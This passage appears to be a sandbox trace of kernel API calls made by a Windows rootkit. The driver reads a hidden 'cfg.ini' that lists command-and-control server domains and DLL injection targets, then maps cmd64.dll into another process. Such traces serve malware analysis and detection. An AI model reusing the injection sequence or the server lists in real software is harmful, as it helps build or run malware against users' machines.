IdePortDispatch () returned 0x103 [0089.379] KeWaitForMutexObject () returned 0x0 [0089.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.379] KeLeaveCriticalRegion () [0089.379] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.379] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0014aaa40 [0089.379] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0089.379] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0089.379] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="dwm.exe (x64)=") returned 14 [0089.379] _strlwr (in: _Str="dwm.exe (x64)=" | out: _Str="dwm.exe (x64)=") returned="dwm.exe (x64)=" [0089.379] ZwReadFile (in: FileHandle=0xffffffff800004bc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0014aaa40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0014aaa40*) returned 0x0 [0089.379] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.379] KeEnterCriticalRegion () [0089.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.379] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbea40 [0089.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0089.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0089.379] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0089.379] IdePortDispatch () returned 0x103 [0089.379] KeWaitForMutexObject () returned 0x0 [0089.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0089.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0089.380] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0089.380] IdePortDispatch () returned 0x103 [0089.380] KeWaitForMutexObject () returned 0x0 [0089.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.380] KeLeaveCriticalRegion () [0089.380] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.380] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0089.380] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="dwm.exe (x64)=") returned 0x0 [0089.380] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0089.380] ExFreePoolWithTag (P=0xfffff8a0014aaa40, Tag=0x0) [0089.380] ZwClose (Handle=0xffffffff800004bc) returned 0x0 [0089.380] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.380] KeEnterCriticalRegion () [0089.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.380] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0089.380] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003817910, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0089.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.380] KeLeaveCriticalRegion () [0089.380] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.380] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.380] KeEnterCriticalRegion () [0089.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.380] ExFreePoolWithTag (P=0xfffffa80037395f0, Tag=0x0) [0089.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.380] KeLeaveCriticalRegion () [0089.380] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.380] ZwClose (Handle=0xffffffff800004cc) returned 0x0 [0089.380] KeSetEvent (in: Event=0xfffffa800380d7a0, Increment=0x0, Wait=0 | out: Event=0xfffffa800380d7a0) returned 0 [0089.925] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x458, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004d8) returned 0x0 [0089.925] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0089.925] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004d4, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0089.925] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.925] KeEnterCriticalRegion () [0089.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.925] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0089.925] IdePortDispatch () returned 0x103 [0089.930] KeWaitForMutexObject () returned 0x0 [0089.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.931] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0089.931] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0089.931] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0089.931] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003757560 [0089.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.931] KeLeaveCriticalRegion () [0089.931] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.931] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0089.931] NtLockFile (in: FileHandle=0xffffffff800004d4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0089.931] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.931] KeEnterCriticalRegion () [0089.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.931] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0089.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.931] KeLeaveCriticalRegion () [0089.931] ZwQueryInformationFile (in: FileHandle=0xffffffff800004d4, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0089.931] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.931] KeEnterCriticalRegion () [0089.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.931] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0089.931] IdePortDispatch () returned 0x103 [0089.931] KeWaitForMutexObject () returned 0x0 [0089.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.931] KeLeaveCriticalRegion () [0089.931] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.931] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0014b24e0 [0089.931] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0089.931] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0089.931] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0089.932] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0089.932] ZwReadFile (in: FileHandle=0xffffffff800004d4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0014b24e0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0014b24e0*) returned 0x0 [0089.932] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.932] KeEnterCriticalRegion () [0089.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.932] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880031fa4e0 [0089.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c010 [0089.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c010) [0089.932] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0089.932] IdePortDispatch () returned 0x103 [0089.932] KeWaitForMutexObject () returned 0x0 [0089.932] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c010 [0089.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c010) [0089.932] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0089.932] IdePortDispatch () returned 0x103 [0089.932] KeWaitForMutexObject () returned 0x0 [0089.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.932] KeLeaveCriticalRegion () [0089.932] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.932] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0089.932] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0089.932] strncpy (in: _Dest=0xfffffa800382a274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0089.932] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0089.932] ExFreePoolWithTag (P=0xfffff8a0014b24e0, Tag=0x0) [0089.932] ZwClose (Handle=0xffffffff800004d4) returned 0x0 [0089.933] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.933] KeEnterCriticalRegion () [0089.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.933] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80018ab040 [0089.933] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800381c250, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0089.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.933] KeLeaveCriticalRegion () [0089.933] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.933] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.933] KeEnterCriticalRegion () [0089.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.933] ExFreePoolWithTag (P=0xfffffa8003757560, Tag=0x0) [0089.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.933] KeLeaveCriticalRegion () [0089.933] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.933] KeStackAttachProcess (in: PROCESS=0xfffffa8003822060, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa8003822060, ApcState=0xfffff88002f9da58) [0089.933] _snwprintf (in: _Dest=0xfffffa800382a06c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0089.933] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0089.933] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004d4, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0089.933] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0089.933] KeEnterCriticalRegion () [0089.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.933] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0089.933] IdePortDispatch () returned 0x103 [0089.933] KeWaitForMutexObject () returned 0x0 [0089.933] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0089.933] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0089.933] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.933] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.933] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.933] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.933] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.933] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0089.933] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0089.933] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0089.933] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800381c0e0 [0089.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.934] KeLeaveCriticalRegion () [0089.934] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.934] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004d4 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0089.934] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0089.934] KeEnterCriticalRegion () [0089.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.934] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0089.934] IdePortDispatch () returned 0x103 [0089.934] KeWaitForMutexObject () returned 0x0 [0089.934] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0089.934] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0089.934] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.934] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.934] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.934] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.934] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.934] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0089.934] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0089.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.934] KeLeaveCriticalRegion () [0089.934] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.934] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004d8, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0xfffff88000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0089.934] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0089.934] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0089.934] KeEnterCriticalRegion () [0089.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.934] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003420000 [0089.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.934] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.934] IdePortDispatch () returned 0x103 [0089.935] KeWaitForMutexObject () returned 0x0 [0089.935] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0089.935] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0089.935] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.935] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.935] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0089.935] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.935] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0089.935] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0089.935] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0089.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.936] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.936] IdePortDispatch () returned 0x103 [0089.936] KeWaitForMutexObject () returned 0x0 [0089.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 